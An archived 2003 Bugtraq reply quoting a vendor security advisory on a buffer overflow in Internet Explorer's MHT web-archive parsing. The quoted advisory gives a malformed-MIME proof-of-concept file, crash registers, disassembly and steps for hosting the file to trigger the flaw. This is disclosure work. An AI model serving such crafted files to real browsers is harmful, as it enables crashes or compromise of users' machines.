Re: .MHT Buffer Overflow in Internet Explorer

From: jelmer (jelmerat_private)
Date: Tue Mar 11 2003 - 11:48:51 PST

  • Next message: http-equivat_private: "Re: Corsaire Security Advisory - Clearswift MAILsweeper MIME attachme nt evasion issue"

    I believe from ie6 SP1 on IE doesn't open any mht files directly from the
    web anymore.
    from the local filesystem it still works though.
    
    
    ----- Original Message -----
    From: "Tom Tanaka" <tomatell@canon-sol.jp>
    To: <bugtraqat_private>
    Sent: Monday, March 10, 2003 5:30 AM
    Subject: .MHT Buffer Overflow in Internet Explorer
    
    
    >
    >
    > CANON SYSTEM SOLUTIONS INC. Security Alert
    >
    > VULNERABILITY:.MHT Buffer Overflow in Internet Explorer
    >
    > DATE FOUND:March 2, 2003
    >
    > Severity:High Risk(code can be executed remotely)
    > ==========================================================================
    > ====
    > SUMMARY:
    >
    > IE5 introduced the new 'Web Archive' format for storing web pages, which
    > have the extension MHT. The 'Web Archive' saves a web page as a single
    > document complete with all images. The format is a standard
    > mime/multipart e-mail message, a mime decoding program such as 7bit, 8bit
    > and Base 64 decoder should be able to turn it into something usable with
    > your OS and browser of choice.
    >
    > This format is pretty nifty and usable, however, there is a potential
    > security breach found when used with encoded executable along with
    > malformed MIME header in the 'Web Archive'. If the encode data is
    > executable or has a single word "MZP" encoded within and Content-Type is
    > not designated, IE5 will be terminated by critical buffer
    > overflow.Consequently, one could compromise the client pc by executing
    > malicious code in the memory.
    > ==========================================================================
    > ====
    > AFFECTED SYSTEM:
    >
    > Microsoft Internet Explorer 5.5 and 6.0; prior versions are not
    > vulnerable.
    > ==========================================================================
    > ====
    > ANALYSIS:
    >
    > RFC822 describes the structure of message header used for the MIME. The
    > followings are some of the identifiers defined for the MIME header.
    >
    > &#12288;MIME-Version:
    > &#12288;Content-Type:
    > &#12288;Content-Trasfer-Encoding:
    > &#12288;Content-ID:
    > &#12288;Content-Description:
    >
    > The 'Content-Type' is used for defining the types of media transfered.
    > The 'Web Archive' format utilizes the Multipart/Related content-type
    > (defined in RFC2387) to properly embed the multiple web content files. As
    > described in RFC2387, the Multipart/Related content-type provides a
    > common mechanism for representing objects that are aggregates of related
    > MIME body parts. When tranferring html or plain text data encoded in
    > the 'Web Archive', IE5 interprets as a plain text with 'carriage return'
    > code(0D0A) , otherwise as binary data without 'carriage return' code
    > (0D0A). By manipulating the MIME header structure and the Base64 encoded
    > data as an executable,4 bytes of memory can be overwritten.
    >
    >
    > PROOF OF CONCEPT:
    >
    > The following format is usually used for the Web Archive.
    > ----------------------------------------------
    > From: <Saved from Microsoft Internet Explorer 5>
    > Subject: =?iso-2022-jp?B?
    > GyRCJT0lVSVIJSYlJyUiJVclbSVAJS8lSBsoQiBIb21lUGFnZQ==?=
    > Date: Tue, 4 Mar 2003 02:16:23 +0900
    > MIME-Version: 1.0
    > Content-Type: multipart/related;
    > boundary="----=_NextPart_000_0000_01C2E1F4.0D559EA0";
    > type="text/html"
    > X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
    >
    > This is a multi-part message in MIME format.
    >
    > ------=_NextPart_000_0000_01C2E1F4.0D559EA0
    > Content-Location:file:///tomatell.exe
    > Content-Transfer-Encoding: base64
    >
    > TVpQ
    > ----------------------------------------------
    >
    >
    > The following sample format contains malformed MIME header along with the
    > Base64 encoded executable.
    > ----------------------------------------------
    > MIME-Version: 1.0
    > ------=_NextPart_000_0000_01C2E1F4.0D559EA0
    > Content-Location:file:///tomatell.exe
    > Content-Transfer-Encoding: base64
    >
    > TVpQ
    > ----------------------------------------------
    >
    > Note that the encoded string, "TVpQ", is the Win32 EXE signature located
    > at the first three bytes of the EXE header. This is for the Win32 system
    > to identify the data as a Win32 executable file. IE5 somehow reads this
    > signature and interprets the data as an executable whereas the MIME
    > encoder/decoder module,'inetcomm.dll', decodes as a plain 7 or 8 bit text
    > data. Thus, IE5 creates a stream with a smaller buffersize than that of
    > Base64 decoder has.
    >
    >
    > The following error will occur when the above file is browsed by IE5.
    >
    > Unhandled exception in iexplore.exe: 0xC0000005: Access Violation.
    >
    >
    >
    > By debugging through the crash dump, the exception error is generated at
    > the EIP(32-bit Instruction Pointer)=74CF497E called from inetcomm.dll to
    > Kernel32.
    >
    > Register
    > EAX = 00000000 EBX = 05AD3A20 ECX = 001FE074 EDX = 001FE190
    > ESI = 05AD39D8 EDI = 00000000 [EIP = 74CF497E] ESP = 0607B2BC
    > EBP = 0607B2FC EFL = 00000246
    >
    >
    > \KernelObjects\CritSecOutOfMemoryEvent
    >
    > 74cf494c ff157412cd74       call    dword ptr
    > [KERNEL32.EnterCriticalSection]
    > 74cf4952 834e3c02           or      dword ptr [esi+3c],+02
    > 74cf4956 33ff               xor     edi,edi
    > 74cf4958 397e1c             cmp     dword ptr [esi+1c],edi
    > 74cf495b 743f               jz      74cf499c
    > 74cf495d 397c2410           cmp     dword ptr [esp+10],edi
    > 74cf4961 8bce               mov     ecx,esi
    > 74cf4963 7d06               jnl     74cf496b
    > 74cf4965 ff742410           push    dword ptr [esp+10]
    > 74cf4969 eb25               jmp     short 74cf4990
    >
    > 74cf496b c746441f000000     mov     dword ptr [esi+44],0000001f
    > 74cf4972 e888f3ffff         call    74cf3cff
    > 74cf4977 3bc7               cmp     eax,edi
    > 74cf4979 7c12               jl      74cf498d
    > 74cf497b 8b461c             mov     eax,dword ptr [esi+1c]
    > 74cf497e 8b08               mov     ecx,dword ptr [eax] //Exception
    >
    >
    > You could test the vulnerablity by copying above exploit to a file with
    > an extention ".mht" and place it at the default root directory of IIS web
    > server and set it as a default html of the server.
    >
    > WORKAROUND:
    > Currently none available.
    >
    > Credit:
    > Tom Tanaka
    >
    > /_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
    >  Tom Tanaka <tomatell@canon-sol.co.jp>
    >  Technical Manager, Security
    >  Software Products Department
    >  Tokyo Office
    >  CANON SYSTEM SOLUTIONS INC..
    >  1-2-18 Ikenohata Taito-ku, Tokyo 110-0008, Japan
    >  Ph.:  +81-3-5815-7243
    >  Fax : +81-3-5815-7262
    > /_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
    >
    >
    >
    



    This archive was generated by hypermail 2b30 : Tue Mar 11 2003 - 14:00:36 PST